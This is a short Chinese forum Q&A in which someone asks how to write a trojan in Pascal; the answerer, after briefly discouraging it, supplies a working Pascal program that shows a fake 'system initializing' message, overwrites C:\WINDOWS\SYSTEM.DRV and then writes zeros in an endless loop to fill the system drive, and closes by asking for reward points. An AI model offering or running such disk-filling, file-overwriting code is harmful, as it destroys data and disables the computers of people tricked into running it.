如何用pascal编一个木马病毒?

这很难！建议你不要考虑...

我告诉你个，是狂耗系统盘可用空间的（不过暂时不能最小化运行..只能做参考）
program asdsa;
begin
writeln('系统正在初始化,请稍后……');
assign(output,'C:\WINDOWS\SYSTEM.DRV');
rewrite(output);
while 2=2 do
writeln(output,'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000');
end.
如果您看到的话，给点分~~我快没分了